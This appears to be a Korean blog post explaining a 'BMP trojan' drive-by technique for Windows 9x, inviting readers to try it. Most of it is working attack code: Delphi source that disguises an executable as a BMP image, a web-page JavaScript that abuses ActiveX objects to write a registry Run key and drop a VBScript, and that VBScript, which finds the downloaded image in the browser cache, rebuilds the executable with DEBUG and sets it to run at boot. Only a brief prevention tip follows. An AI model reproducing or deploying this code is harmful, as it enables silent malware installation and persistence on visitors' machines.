BMP 목마

8094 단어 BMP 목마
우선 이것 은 새로운 것 이 아니 라 는 것 을 설명 하지만,최근 에 어떤 사람 이 우리 가 없다 고 하 니,마음대로 글 을 써 서 올 려 놓 았 으 니,모두 스스로 시험 해 보 세 요. BMP 홈 페이지 목마 란 무엇 입 니까?과거 냄새 나 는 MIME 헤드 구멍 을 사 용 했 던 목마 와 달리 MIME 목 마 는 EXE 파일 을 MIME 로 EML(OUT)로 인 코딩 했다. LOOK 메시지)파일 은 웹 페이지 에 IE 와 OE 의 인 코딩 구멍 을 이용 하여 자동 다운로드 와 실행 을 실현 합 니 다.그러나 BMP 목 마 는 다 릅 니 다.EXE 파일 을 BMP 이미지 파일 로 위장 하여 IE 를 속여 자동 으로 다운로드 한 다음 웹 페이지 의 자바 script 스 크 립 트 를 이용 하여 클 라 이언 트 의 인터넷 임시 폴 더 를 찾 고 다운로드 한 BMP 파일 을 찾 습 니 다.TEMP 디 렉 터 리 에 복사 합 니 다.스 크 립 트 를 하나 더 만들어 서 찾 은 BMP 파일 을 DEBUG 로 EXE 로 복원 하고 레 지 스 트 시작 항목 에 넣 고 다음 부팅 시 실행 합 니 다.하지만 이 기술 은 9X 에서 만 작 동 할 수 있 습 니 다.2K,XP 에 서 는 어 쩔 수 없습니다.  보기에 매우 복잡 한 것 같다.다음 에 우 리 는 한 걸음 한 걸음 한다.1) EXE 가 BMP 로 바 꾸 는 방법.여러분 이 직접 BMP 파일 자 료 를 찾 아 보면 BMP 파일 의 파일 헤더 에 54 개의 바이트 가 있다 는 것 을 알 수 있 습 니 다.쉽게 말 하면 BMP 파일 의 길이,자릿수,파일 크기,데이터 영역 길이 가 포함 되 어 있 습 니 다.저 희 는 EXE 파일 의 파일 헤더 앞 에 해당 하 는 BMP 파일 헤더 만 추가 하면 됩 니 다(물론 BMP 파일 헤더 안의 데 이 터 는 EXE 파일 의 크기 에 부합 해 야 합 니 다).이렇게 하면 IE 를 속여 서 이 BMP 파일 을 다운로드 할 수 있 습 니 다.처음에 우 리 는 JPG 파일 로 테스트 를 한 적 이 있 습 니 다.파일 헤더 가 정확 하지 않 으 면 IE 는 다운로드 하지 않 습 니 다.코드 를 다음 과 같이 바 꾸 었 습 니 다.program exe2bmp;  uses  Windows,  SysUtils;  var len,row,col,fs: DWORD;  buffer: array[0..255]of char;  fd: WIN32_FIND_DATA;  h,hw: THandle;  begin  if (ParamStr(1)<>) and(ParamStr(2)<>) then begin //실행 후 두 개의 인자 가 없 으 면 if 를 종료 합 니 다. FileExists(ParamStr(1)) then begin  FindFirstFile(Pchar(ParamStr(1)),fd);  fs:=fd.nFileSizeLow;  col := 4;  while true do begin  if (fs mod 12)=0 then begin  len:=fs;  end else len:=fs+12-(fs mod 12);  row := len div col div 3;  if row>col then begin  col:=col+4;  end else Break;  end;  FillChar(buffer,256,0);  {BMP 파일 헤더 데이터}Buffer[0]:=B;Buffer[1]:=M;  PDWORD(@buffer[18])^:=col;  PDWORD(@buffer[22])^:=row;  PDWORD(@buffer[34])^:=len;  PDWORD(@buffer[2])^:=len+54;  PDWORD(@buffer[10])^:=54;  PDWORD(@buffer[14])^:=40;  PWORD(@buffer[26])^:=1;  PWORD(@buffer[28])^:=24;  {파일 쓰기}hw:=CreateFile(Pchar(ParamStr(2),GENERICWRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);  h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);  WriteFile(hw,buffer,54,col,0);  repeat  ReadFile(h,buffer,256,col,0);  WriteFile(hw,buffer,col,col,0);  untilcol<>256;  WriteFile(hw,buffer,len-fs,col,0);  CloseHandle(h);  CloseHandle(hw);  end;  end;  end.  이상 코드 는 DELPHI 4,5,6 에서 컴 파일 할 수 있 습 니 다. ,exe2bmp.exe 파일 을 얻 을 수 있 습 니 다.MSDOS 방식 을 열 고 입력 하 십시오.  exe2bmp myexe.exe mybmp.bmp  리 턴 하면 두 번 째 매개 변수 가 지정 한 EXE 파일 을 BMP 형식 으로 변환 할 수 있 습 니 다.  이 어 이 BMP 사진 을 홈 페이지 에 올 렸 습 니 다.여러분 이 이 사진 을 열 어 보 셨 다 면 이 BMP 는 꽃 이 피고 색깔 이 단조 로 운 것 을 발견 하 셨 을 것 입 니 다.그래서 여러분 이 홈 페이지 에 올 리 는 것 은 이런 형식 을 사용 하 는 것 이 좋 습 니 다.  다음은 웹 페이지 에 올 려 진 스 크 립 트 입 니 다.  document.write( );  function docsave()  {  a=document.applets[0];  a.setCLSID({F935DC22-1CF0-11D0-ADB9-00C04FD58A0B});  a.createInstance();  wsh=a.GetObject();  a.setCLSID({0D43FE01-F093-11CF-8940-00A0C9054228});  a.createInstance();  fso=a.GetObject();  var winsys=fso.GetSpecialFolder(1);  var vbs=winsys+\\s.vbs;  wsh.RegWrite  (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs,wscript +"+vbs+" );  var st=fso.CreateTextFile(vbs,true);  st.WriteLine(Option Explicit);  st.WriteLine(Dim FSO,WSH,CACHE,str);  st.WriteLine(Set FSO = CreateObject("Scripting.FileSystemObject"));  st.WriteLine(Set WSH = CreateObject("WScript.Shell"));  st.WriteLine(CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache"));  st.WriteLine(wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs"));  st.WriteLine (wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe");  st.WriteLine(SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp");  st.WriteLine(WScript.Quit());  st.WriteLine(Function SearchBMPFile(Folder,fname));  st.WriteLine( Dim SubFolder,File,Lt,tmp,winsys);  st.WriteLine( str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname);  st.WriteLine( if FSO.FileExists(str) then);  st.WriteLine( tmp=fso.GetSpecialFolder(2) & "\\");  st.WriteLine( winsys=fso.GetSpecialFolder(1) & "\\");  st.WriteLine( set File=FSO.GetFile(str));  st.WriteLine( File.Copy(tmp & "tmp.dat"));  st.WriteLine( File.Delete);  st.WriteLine( set Lt=FSO.CreateTextFile(tmp & "tmp.in"));  st.WriteLine( Lt.WriteLine("rbx"));  st.WriteLine( Lt.WriteLine("0"));  st.WriteLine( Lt.WriteLine("rcx"));  st.WriteLine( Lt.WriteLine("1000"));  st.WriteLine( Lt.WriteLine("w136"));  st.WriteLine( Lt.WriteLine("q"));  st.WriteLine( Lt.Close);  st.WriteLine( WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6);  st.WriteLine( On Error Resume Next );  st.WriteLine( FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe"));  st.WriteLine( FSO.GetFile(tmp & "tmp.dat").Delete);  st.WriteLine( FSO.GetFile(tmp & "tmp.in").Delete);  st.WriteLine( FSO.GetFile(tmp & "tmp.out").Delete);  st.WriteLine( end if);  st.WriteLine( If Folder.SubFolders.Count <> 0 Then);  st.WriteLine( For Each SubFolder In Folder.SubFolders);  st.WriteLine( SearchBMPFile SubFolder,fname);  st.WriteLine( Next);  st.WriteLine( End If);  st.WriteLine(End Function);  st.Close();  }  setTimeout(docsave(),1000);이 스 크 립 트 를"js.js"로 저장 하고 웹 페이지 에 삽입 합 니 다.  이 스 크 립 트 는 로 컬 기기 의 SYSTEM 디 렉 터 리 에'S.VBS'파일 을 생 성 합 니 다.이 스 크 립 트 파일 은 다음 에 켜 질 때 자동 으로 실 행 됩 니 다.임시 디 렉 터 리 에서 mybmp[1].bmp 파일 을 찾 는 데 사 용 됩 니 다.  “S.VBS"파일 의 주요 내용 은 다음 과 같 습 니 다.  Option Explicit  Dim FSO,WSH,CACHE,str  Set FSO = CreateObject("Scripting.FileSystemObject")  Set WSH = CreateObject("WScript.Shell")  CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")  wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")  wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"  SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"  WScript.Quit()  Function SearchBMPFile(Folder,fname)  Dim SubFolder,File,Lt,tmp,winsys  임시 폴 더 에서 대상 BMP 그림 str=FSO.GetParentFolderName(folder)찾기 & "\" & folder.name & "\" & fname  if FSO.FileExists(str) then  tmp=fso.GetSpecialFolder(2) & "\"  winsys=fso.GetSpecialFolder(1) & "\"  set File=FSO.GetFile(str)  File.Copy(tmp & "tmp.dat")  File.Delete  DEBUG 스 크 립 트 생 성  set Lt=FSO.CreateTextFile(tmp & "tmp.in")  Lt.WriteLine("rbx")  Lt.WriteLine("0")  Lt.WriteLine("rcx")  다음 줄 의 1000 은 16 진법 이 고 10 진법 으로 바 꾸 면 4096(이 숫자 는 EXE 파일 의 크기)Lt.Write Line("1000")입 니 다.  Lt.WriteLine("w136")  Lt.WriteLine("q")  Lt.Close  WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6  On Error Resume Next  FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")  FSO.GetFile(tmp & "tmp.dat").Delete  FSO.GetFile(tmp & "tmp.in").Delete  FSO.GetFile(tmp & "tmp.out").Delete  end if  If Folder.SubFolders.Count <> 0 Then  For Each SubFolder In Folder.SubFolders  SearchBMPFile SubFolder,fname  Next  End If  End Function  이 스 크 립 트 는 임시 폴 더 에 있 는 bmp 파일 을 찾 아 DEBUG 스 크 립 트 를 생 성 합 니 다.실행 할 때 BMP 파일 54 바이트 에서 지정 한 크기 의 데 이 터 를 읽 고 tmp.dat 에 저장 합 니 다.뒤의 스 크 립 트 를 SYSTEM 디 렉 터 리 로 복사 합 니 다.이 복 원 된 EXE 파일 은 다음 에 다시 시작 할 때 실 행 됩 니 다.이것 이 BMP 목마 의 기본 구현 과정 입 니 다.  자세 한 스 크 립 트 코드 참고http://hotsky.363.net  예방 방법:  가장 간단 합 니 다.wscrpit.exe 파일 과 DEBUG 를 삭제 하거나 이름 을 바 꿉 니 다. 서류  효과 적 인 백신 소프트웨어 를 설치 하 세 요.왜냐하면 이 스 크 립 트 들 은 이미 많은 백신 소프트웨어 를 찾 아 낼 수 있 기 때 문 입 니 다.  조건 이 허용 되 는 경우 WIN2K 설치 SP3,알 수 없 는 사이트 에 가 는 것 을 최대한 피하 세 요.

좋은 웹페이지 즐겨찾기